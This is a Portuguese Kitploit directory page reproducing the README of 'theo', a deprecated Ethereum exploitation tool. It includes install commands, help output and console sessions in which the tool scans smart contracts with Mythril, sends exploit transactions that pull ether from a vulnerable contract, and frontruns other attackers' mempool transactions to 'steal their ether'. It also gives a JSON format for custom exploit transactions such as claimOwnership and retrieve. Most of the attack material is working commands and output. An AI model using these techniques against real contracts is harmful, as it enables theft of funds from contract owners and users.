Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
theo — Ferramenta de reconhecimento e exploração Ethereum. | Kitploit
Ferramentas/GitHubGitHub/cleanunicorn/theo
Frameworks de Testes de PenetraçãoReconhecimentoFrameworks de ExploraçãoAnálise de Vulnerabilidades
GitHubcleanunicorn/theo

theo

Ferramenta de reconhecimento e exploração Ethereum.

Ver Repositório
3489312há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Theo

Obsoleto, não mais mantido, não o instale, não o use, você foi avisado!

License CircleCI Codacy Badge PyPI Code style: black

O Theo tem como objetivo ser um framework de exploração e uma ferramenta de reconhecimento e interação com blockchain.

Funcionalidades:

  • Varredura automática de contratos inteligentes que gera uma lista de possíveis explorações.
  • Envio de transações para explorar um contrato inteligente.
  • Monitor da pool de transações.
  • Console Web3
  • Transações de frontrunning e backrunning.
  • Esperar por uma lista de transações e enviar outras.
  • Estimar o gás para transações significa que apenas transações bem-sucedidas são enviadas.
  • Desabilitar a estimativa de gás enviará transações com uma quantidade fixa de gás.

Ele conhece o Karl do trabalho.

O propósito do Theo é combater script kiddies que tentam ser leet hackers. Ele pode ouvi-los tentando explorar seus honeypots e fazê-los perder seus fundos, para seu próprio ganho.

"Você não me trouxe pela minha personalidade encantadora."

Baixar ferramenta

Instalação

O Theo está disponível como um pacote PyPI:

root@kitploit:~
$ pip install theo
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS]
            [--skip-mythril SKIP_MYTHRIL] [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to monitor (default: None)
  --skip-mythril SKIP_MYTHRIL
                        Don't try to find exploits with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

Instalar a partir das fontes

root@kitploit:~
$ git clone https://github.com/cleanunicorn/theo
$ cd theo
$ virtualenv ./venv
$ . ./venv/bin/activate
$ pip install -r requirements.txt
$ pip install -e .
$ theo --help

Requisitos:

  • Python 3.5 ou superior.
  • Um nó Ethereum com RPC disponível. Ganache funciona muito bem para testes ou para validar explorações.

Demonstrações

Encontrar exploração e executá-la

Varra um contrato inteligente, encontre explorações, explore-o:

  • Inicie o Ganache como nosso nó Ethereum local
  • Implante o contrato vulnerável (acontece em uma janela diferente)
  • Varra por explorações
  • Execute a exploração

asciicast

Frontrun da vítima

Configure um honeypot, implante o honeypot, aguarde o atacante, faça frontrun:

  • Inicie o geth como nosso nó Ethereum local
  • Inicie a mineração
  • Implante o honeypot
  • Inicie o Theo e varra a mem pool por transações
  • Faça frontrun do atacante e roube seu ether

asciicast

Uso

Tela de ajuda

É uma boa ideia verificar a tela de ajuda primeiro.

root@kitploit:~
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril]
            [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to interact with (default: None)
  --skip-mythril        Skip scanning the contract with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

Execução simbólica

Uma lista de explorações é automaticamente identificada usando o mythril.

Inicie uma sessão executando:

root@kitploit:~
$ theo --contract=<scanned contract> --account-pk=<your private key>
Scanning for exploits in contract: 0xa586074fa4fe3e546a132a16238abe37951d41fe
Connecting to HTTP: http://127.0.0.1:8545.
Found exploits(s):
 [Exploit: (txs=[Transaction {Data: 0xcf7a8965, Value: 1000000000000000000}])]

A few objects are available in the console:
- `exploits` is an array of loaded exploits found by Mythril or read from a file
- `w3` an initialized instance of web3py for the provided HTTP RPC endpoint

Check the readme for more info:
https://github.com/cleanunicorn/theo

>>> 

Ele analisará o contrato e encontrará uma lista de explorações disponíveis.

Você pode ver as explorações disponíveis encontradas. Neste caso, uma exploração foi encontrada. Cada exploração é um objeto Exploit.

root@kitploit:~
>>> exploits[0]
Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])

Executando explorações

Os passos da exploração podem ser executados chamando .execute() no objeto de exploração. As transações serão assinadas e enviadas para o nó ao qual você está conectado.

root@kitploit:~
>>> exploits[0].execute()
2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47} 
2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined... 
2019-07-22 11:26:16,337 - Mined 
2019-07-22 11:26:16,341 - Initial balance:      1155999450759997797167 (1156.00 ether) 
2019-07-22 11:26:16,342 - Final balance:        1156999450759997768901 (1157.00 ether) 

Frontrunning

Você pode iniciar o monitor de frontrunning para ouvir outros hackers tentando explorar o honeypot.

Use .frontrun() para começar a escutar a exploração e, quando encontrada, envie uma transação com um preço de gás mais alto.

root@kitploit:~
>>> exploits[0].frontrun()
2019-07-22 11:22:26,285 - Scanning the mem pool for transactions... 
2019-07-22 11:22:45,369 - Found tx: 0xf6041abe6e547cea93e80a451fdf53e6bdae67820244246fde44098f91ce1c20 
2019-07-22 11:22:45,375 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': '0x2', 'data': '0xcf7a8965', 'gas': 30522, 'value': 1000000000000000000, 'nonce': 45} 
2019-07-22 11:22:45,380 - Waiting for 0xa73316daf806e7eef83d09e467c32ce5faa239c6eda3a270a8ce7a7aae48fb7e to be mined... 
2019-07-22 11:22:56,852 - Mined 

"Oh, meu Deus! O quarterback está frito!"

Isso funciona muito bem para alguns contratos especialmente elaborados ou outros contratos vulneráveis, desde que você garanta que o frontrunning esteja a seu favor.

Carregar transações de arquivo

Em vez de identificar as explorações com o mythril, você pode especificar a lista de explorações você mesmo.

Crie um arquivo parecido com este exploits.json:

root@kitploit:~
[
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        },
        {
            "name": "retrieve()",
            "input": "0x2e64cec1",
            "value": "0x0"
        }
    ],
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        }
    ]
]

Este define 2 explorações, a primeira tem 2 transações e a segunda tem apenas 1 transação.

Você pode carregá-lo com:

root@kitploit:~
$ theo --load-file=./exploits.json

Solução de problemas

openssl/aes.h: Arquivo ou diretório não encontrado

Se você receber este erro, precisa das bibliotecas fonte do libssl:

root@kitploit:~
    scrypt-1.2.1/libcperciva/crypto/crypto_aes.c:6:10: fatal error: openssl/aes.h: No such file or directory
     #include <openssl/aes.h>
              ^~~~~~~~~~~~~~~
    compilation terminated.
    error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
    
    ----------------------------------------
Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-5rl4ep94/scrypt/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-mnbzx9qe-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-5rl4ep94/scrypt/

No Ubuntu você pode instalá-las com:

root@kitploit:~
$ sudo apt install libssl-dev